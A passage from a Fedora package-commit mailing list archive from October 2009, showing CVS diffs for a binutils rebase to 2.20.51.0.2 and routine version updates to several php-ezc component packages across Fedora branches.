-	  bfd_soversion="$(VERSION).$${bfd_version_date}" ;\
+	  bfd_version_string="\"$(VERSION)-%{release} $${bfd_version_date}\"" ;\
+	  bfd_soversion="$(VERSION)-%{release}" ;\
 	fi ;\
 	sed -e "s, at bfd_version@,$$bfd_version," \
 	    -e "s, at bfd_version_string@,$$bfd_version_string," \
-	    -e "s, at bfd_version_package@,$$bfd_version_package," \
+	    -e "s, at bfd_version_package@,\"version \"," \
 	    -e "s, at report_bugs_to@,$$report_bugs_to," \
 	    < $(srcdir)/version.h > $@; \
 	echo "$${bfd_soversion}" > libtool-soversion
--- ../binutils-2.20.51.0.2.orig/bfd/Makefile.in	2009-10-12 11:28:45.000000000 +0100
+++ bfd/Makefile.in	2009-10-12 11:42:24.000000000 +0100
@@ -1978,12 +1978,12 @@ bfdver.h: $(srcdir)/version.h $(srcdir)/
 	report_bugs_to="\"$(REPORT_BUGS_TO)\"" ;\
 	if test "x$(RELEASE)" = x ; then \
 	  bfd_version_date=`sed -n -e 's/.*DATE //p' < $(srcdir)/version.h` ;\
-	  bfd_version_string="\"$(VERSION).$${bfd_version_date}\"" ;\
-	  bfd_soversion="$(VERSION).$${bfd_version_date}" ;\
+	  bfd_version_string="\"$(VERSION)-%{release} $${bfd_version_date}\"" ;\
+	  bfd_soversion="$(VERSION)-%{release}" ;\
 	fi ;\
 	sed -e "s, at bfd_version@,$$bfd_version," \
 	    -e "s, at bfd_version_string@,$$bfd_version_string," \
-	    -e "s, at bfd_version_package@,$$bfd_version_package," \
+	    -e "s, at bfd_version_package@,\"version \"," \
 	    -e "s, at report_bugs_to@,$$report_bugs_to," \
 	    < $(srcdir)/version.h > $@; \
 	echo "$${bfd_soversion}" > libtool-soversion


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/devel/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	23 Jul 2009 08:34:57 -0000	1.47
+++ .cvsignore	12 Oct 2009 11:18:36 -0000	1.48
@@ -1 +1 @@
-binutils-2.19.51.0.14.tar.bz2
+binutils-2.20.51.0.2.tar.bz2


Index: binutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/devel/binutils.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- binutils.spec	29 Sep 2009 17:35:56 -0000	1.175
+++ binutils.spec	12 Oct 2009 11:18:37 -0000	1.176
@@ -16,23 +16,20 @@
 
 Summary: A GNU collection of binary utilities
 Name: %{?cross}binutils%{?_with_debug:-debug}
-Version: 2.19.51.0.14
-Release: 32%{?dist}
+Version: 2.20.51.0.2
+Release: 1%{?dist}
 License: GPLv3+
 Group: Development/Tools
 URL: http://sources.redhat.com/binutils
 Source: ftp://ftp.kernel.org/pub/linux/devel/binutils/binutils-%{version}.tar.bz2
 Source2: binutils-2.19.50.0.1-output-format.sed
-Patch01: binutils-2.19.51.0.10-libtool-lib64.patch
-Patch02: binutils-2.19.51.0.10-ppc64-pie.patch
-Patch03: binutils-2.19.50.0.1-ia64-lib64.patch
-Patch04: binutils-2.19.51.0.10-envvar-revert.patch
-Patch05: binutils-2.19.51.0.10-version.patch
-Patch06: binutils-2.19.51.0.10-set-long-long.patch
-Patch07: binutils-2.19.51.0.10-build-id.patch
-Patch09: binutils-2.19.51.0.11-moxie.patch
-Patch10: binutils-2.19.51.0.14-unique-is-global.patch
-Patch11: binutils-2.19.51.0.14-cxxfilt-java-doc.patch
+Patch01: binutils-2.20.51.0.2-libtool-lib64.patch
+Patch02: binutils-2.20.51.0.2-ppc64-pie.patch
+Patch03: binutils-2.20.51.0.2-ia64-lib64.patch
+Patch04: binutils-2.20.51.0.2-envvar-revert.patch
+Patch05: binutils-2.20.51.0.2-version.patch
+Patch06: binutils-2.20.51.0.2-set-long-long.patch
+Patch07: binutils-2.20.51.0.2-build-id.patch
 
 %if 0%{?_with_debug:1}
 # Define this if you want to skip the strip step and preserve debug info.
@@ -104,9 +101,6 @@ to consider using libelf instead of BFD.
 %patch05 -p0 -b .version~
 %patch06 -p0 -b .set-long-long~
 %patch07 -p0 -b .build-id~
-%patch09 -p0 -b .moxie~
-%patch10 -p0 -b .unique-is-global~
-%patch11 -p0 -b .cxxfilt-java-doc~
 
 # We cannot run autotools as there is an exact requirement of autoconf-2.59.
 
@@ -357,6 +351,12 @@ fi
 %endif # %{isnative}
 
 %changelog
+* Mon Oct 12 2009 Nick Clifton <nickc at redhat.com> 2.20.51.0.2-1
+- Rebase on 2.20 tarball.
+- Remove redundant moxie patch.
+- Remove redundant unique is global patch.
+- Remove redundant cxxfilt java doc patch.
+
 * Tue Sep 29 2009 Jan Kratochvil <jan.kratochvil at redhat.com> 2.19.51.0.14-32
 - Remove spurious description of nonexistent --java switch for cxxfilt.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/binutils/devel/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	23 Jul 2009 08:34:57 -0000	1.47
+++ sources	12 Oct 2009 11:18:37 -0000	1.48
@@ -1 +1 @@
-e0b485a3ff9392da1351dc3fb61a3d10  binutils-2.19.51.0.14.tar.bz2
+b01b185a5eab43190fb83efaeb2ffef9  binutils-2.20.51.0.2.tar.bz2


--- binutils-2.19.50.0.1-ia64-lib64.patch DELETED ---


--- binutils-2.19.51.0.10-build-id.patch DELETED ---


--- binutils-2.19.51.0.10-envvar-revert.patch DELETED ---


--- binutils-2.19.51.0.10-libtool-lib64.patch DELETED ---


--- binutils-2.19.51.0.10-ppc64-pie.patch DELETED ---


--- binutils-2.19.51.0.10-set-long-long.patch DELETED ---


--- binutils-2.19.51.0.10-version.patch DELETED ---


--- binutils-2.19.51.0.11-moxie.patch DELETED ---


--- binutils-2.19.51.0.14-cxxfilt-java-doc.patch DELETED ---


--- binutils-2.19.51.0.14-unique-is-global.patch DELETED ---



From llaumgui at fedoraproject.org  Mon Oct 12 11:20:38 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:20:38 +0000 (UTC)
Subject: rpms/php-ezc-Configuration/F-10 .cvsignore, 1.3,
	1.4 php-ezc-Configuration.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012112038.523AD11C029E@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Configuration/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18191/F-10

Modified Files:
	.cvsignore php-ezc-Configuration.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 May 2009 06:22:30 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:20:37 -0000	1.4
@@ -1 +1 @@
-Configuration-1.3.3.tgz
+Configuration-1.3.4.tgz


Index: php-ezc-Configuration.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-10/php-ezc-Configuration.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Configuration.spec	12 May 2009 06:22:30 -0000	1.2
+++ php-ezc-Configuration.spec	12 Oct 2009 11:20:37 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Configuration
-Version:        1.3.3
+Version:        1.3.4
 Release:        1%{?dist}
 Summary:        A component that allows you to use configuration files in different formats
 
@@ -84,6 +84,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.3-1
 - Update to 1.3.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 May 2009 06:22:30 -0000	1.3
+++ sources	12 Oct 2009 11:20:37 -0000	1.4
@@ -1 +1 @@
-d6b54f8037da512943cd4f8d58abbbf2  Configuration-1.3.3.tgz
+14d1d025f78a8ccc53217233b44b86bd  Configuration-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:20:41 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:20:41 +0000 (UTC)
Subject: rpms/php-ezc-Configuration/devel .cvsignore, 1.3,
	1.4 php-ezc-Configuration.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012112041.4C82711C029E@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Configuration/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18191/devel

Modified Files:
	.cvsignore php-ezc-Configuration.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 May 2009 06:22:31 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:20:39 -0000	1.4
@@ -1 +1 @@
-Configuration-1.3.3.tgz
+Configuration-1.3.4.tgz


Index: php-ezc-Configuration.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/devel/php-ezc-Configuration.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Configuration.spec	26 Jul 2009 18:01:36 -0000	1.3
+++ php-ezc-Configuration.spec	12 Oct 2009 11:20:39 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Configuration
-Version:        1.3.3
-Release:        2%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        A component that allows you to use configuration files in different formats
 
 Group:          Development/Libraries
@@ -84,6 +84,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 May 2009 06:22:31 -0000	1.3
+++ sources	12 Oct 2009 11:20:39 -0000	1.4
@@ -1 +1 @@
-d6b54f8037da512943cd4f8d58abbbf2  Configuration-1.3.3.tgz
+14d1d025f78a8ccc53217233b44b86bd  Configuration-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:20:38 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:20:38 +0000 (UTC)
Subject: rpms/php-ezc-Configuration/F-12 .cvsignore, 1.3,
	1.4 php-ezc-Configuration.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012112038.E1C1411C029E@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Configuration/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18191/F-12

Modified Files:
	.cvsignore php-ezc-Configuration.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 May 2009 06:22:31 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:20:38 -0000	1.4
@@ -1 +1 @@
-Configuration-1.3.3.tgz
+Configuration-1.3.4.tgz


Index: php-ezc-Configuration.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-12/php-ezc-Configuration.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Configuration.spec	26 Jul 2009 18:01:36 -0000	1.3
+++ php-ezc-Configuration.spec	12 Oct 2009 11:20:38 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Configuration
-Version:        1.3.3
-Release:        2%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        A component that allows you to use configuration files in different formats
 
 Group:          Development/Libraries
@@ -84,6 +84,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 May 2009 06:22:31 -0000	1.3
+++ sources	12 Oct 2009 11:20:38 -0000	1.4
@@ -1 +1 @@
-d6b54f8037da512943cd4f8d58abbbf2  Configuration-1.3.3.tgz
+14d1d025f78a8ccc53217233b44b86bd  Configuration-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:20:38 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:20:38 +0000 (UTC)
Subject: rpms/php-ezc-Configuration/F-11 .cvsignore, 1.3,
	1.4 php-ezc-Configuration.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012112038.558C211C0423@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Configuration/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18191/F-11

Modified Files:
	.cvsignore php-ezc-Configuration.spec sources 
Log Message:
Update to 1.3.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 May 2009 06:22:30 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:20:37 -0000	1.4
@@ -1 +1 @@
-Configuration-1.3.3.tgz
+Configuration-1.3.4.tgz


Index: php-ezc-Configuration.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-11/php-ezc-Configuration.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Configuration.spec	12 May 2009 06:22:30 -0000	1.2
+++ php-ezc-Configuration.spec	12 Oct 2009 11:20:37 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Configuration
-Version:        1.3.3
+Version:        1.3.4
 Release:        1%{?dist}
 Summary:        A component that allows you to use configuration files in different formats
 
@@ -84,6 +84,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.4-1
+- Update to 1.3.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.3.3-1
 - Update to 1.3.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Configuration/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 May 2009 06:22:30 -0000	1.3
+++ sources	12 Oct 2009 11:20:37 -0000	1.4
@@ -1 +1 @@
-d6b54f8037da512943cd4f8d58abbbf2  Configuration-1.3.3.tgz
+14d1d025f78a8ccc53217233b44b86bd  Configuration-1.3.4.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:37:35 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:37:35 +0000 (UTC)
Subject: rpms/php-ezc-SystemInformation/F-10 .cvsignore, 1.2,
	1.3 php-ezc-SystemInformation.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091012113735.C6FF511C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-SystemInformation/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22874/F-10

Modified Files:
	.cvsignore php-ezc-SystemInformation.spec sources 
Log Message:
Update to 1.0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Apr 2009 17:16:16 -0000	1.2
+++ .cvsignore	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-SystemInformation-1.0.7.tgz
+SystemInformation-1.0.8.tgz


Index: php-ezc-SystemInformation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-10/php-ezc-SystemInformation.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- php-ezc-SystemInformation.spec	29 Apr 2009 17:16:16 -0000	1.1
+++ php-ezc-SystemInformation.spec	12 Oct 2009 11:37:35 -0000	1.2
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-SystemInformation
-Version:        1.0.7
+Version:        1.0.8
 Release:        1%{?dist}
 Summary:        Provides access to common system variables
 
@@ -84,5 +84,11 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.8-1
+- Update to 1.0.8
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Feb 08 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.0.7-1
 - Initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Apr 2009 17:16:16 -0000	1.2
+++ sources	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-7cb58a3adf1b0507688333a258e1fa83  SystemInformation-1.0.7.tgz
+4a233c8c3181b60e6583d87b233f0435  SystemInformation-1.0.8.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:37:35 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:37:35 +0000 (UTC)
Subject: rpms/php-ezc-SystemInformation/F-11 .cvsignore, 1.2,
	1.3 php-ezc-SystemInformation.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091012113735.CA7C511C0265@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-SystemInformation/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22874/F-11

Modified Files:
	.cvsignore php-ezc-SystemInformation.spec sources 
Log Message:
Update to 1.0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Apr 2009 17:16:14 -0000	1.2
+++ .cvsignore	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-SystemInformation-1.0.7.tgz
+SystemInformation-1.0.8.tgz


Index: php-ezc-SystemInformation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-11/php-ezc-SystemInformation.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- php-ezc-SystemInformation.spec	29 Apr 2009 17:16:15 -0000	1.1
+++ php-ezc-SystemInformation.spec	12 Oct 2009 11:37:35 -0000	1.2
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-SystemInformation
-Version:        1.0.7
+Version:        1.0.8
 Release:        1%{?dist}
 Summary:        Provides access to common system variables
 
@@ -84,5 +84,11 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.8-1
+- Update to 1.0.8
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Feb 08 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.0.7-1
 - Initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Apr 2009 17:16:15 -0000	1.2
+++ sources	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-7cb58a3adf1b0507688333a258e1fa83  SystemInformation-1.0.7.tgz
+4a233c8c3181b60e6583d87b233f0435  SystemInformation-1.0.8.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:37:35 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:37:35 +0000 (UTC)
Subject: rpms/php-ezc-SystemInformation/F-12 .cvsignore, 1.2,
	1.3 php-ezc-SystemInformation.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091012113735.CBF9011C0267@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-SystemInformation/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22874/F-12

Modified Files:
	.cvsignore php-ezc-SystemInformation.spec sources 
Log Message:
Update to 1.0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Apr 2009 17:16:17 -0000	1.2
+++ .cvsignore	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-SystemInformation-1.0.7.tgz
+SystemInformation-1.0.8.tgz


Index: php-ezc-SystemInformation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-12/php-ezc-SystemInformation.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-SystemInformation.spec	26 Jul 2009 18:03:38 -0000	1.2
+++ php-ezc-SystemInformation.spec	12 Oct 2009 11:37:35 -0000	1.3
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-SystemInformation
-Version:        1.0.7
-Release:        2%{?dist}
+Version:        1.0.8
+Release:        1%{?dist}
 Summary:        Provides access to common system variables
 
 Group:          Development/Libraries
@@ -84,6 +84,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.8-1
+- Update to 1.0.8
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Apr 2009 17:16:17 -0000	1.2
+++ sources	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-7cb58a3adf1b0507688333a258e1fa83  SystemInformation-1.0.7.tgz
+4a233c8c3181b60e6583d87b233f0435  SystemInformation-1.0.8.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:37:36 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:37:36 +0000 (UTC)
Subject: rpms/php-ezc-SystemInformation/devel .cvsignore, 1.2,
	1.3 php-ezc-SystemInformation.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091012113736.2B21E11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-SystemInformation/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22874/devel

Modified Files:
	.cvsignore php-ezc-SystemInformation.spec sources 
Log Message:
Update to 1.0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Apr 2009 17:16:17 -0000	1.2
+++ .cvsignore	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-SystemInformation-1.0.7.tgz
+SystemInformation-1.0.8.tgz


Index: php-ezc-SystemInformation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/devel/php-ezc-SystemInformation.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-SystemInformation.spec	26 Jul 2009 18:03:38 -0000	1.2
+++ php-ezc-SystemInformation.spec	12 Oct 2009 11:37:35 -0000	1.3
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-SystemInformation
-Version:        1.0.7
-Release:        2%{?dist}
+Version:        1.0.8
+Release:        1%{?dist}
 Summary:        Provides access to common system variables
 
 Group:          Development/Libraries
@@ -84,6 +84,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.8-1
+- Update to 1.0.8
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-SystemInformation/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Apr 2009 17:16:17 -0000	1.2
+++ sources	12 Oct 2009 11:37:35 -0000	1.3
@@ -1 +1 @@
-7cb58a3adf1b0507688333a258e1fa83  SystemInformation-1.0.7.tgz
+4a233c8c3181b60e6583d87b233f0435  SystemInformation-1.0.8.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:49:44 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:49:44 +0000 (UTC)
Subject: rpms/php-ezc-Template/F-11 .cvsignore, 1.3,
	1.4 php-ezc-Template.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012114944.0800411C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Template/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26095/F-11

Modified Files:
	.cvsignore php-ezc-Template.spec sources 
Log Message:
Update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:26:33 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-Template-1.4.tgz
+Template-1.4.1.tgz


Index: php-ezc-Template.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-11/php-ezc-Template.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Template.spec	1 Jul 2009 18:26:33 -0000	1.2
+++ php-ezc-Template.spec	12 Oct 2009 11:49:43 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Template
-Version:        1.4
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A fully functional Templating system
 
@@ -90,6 +90,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4.1-1
+- Update to 1.4.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 01 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4-1
 - Update to 1.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:26:33 -0000	1.3
+++ sources	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-0bdc2fc1430093d7f912c75956bb4732  Template-1.4.tgz
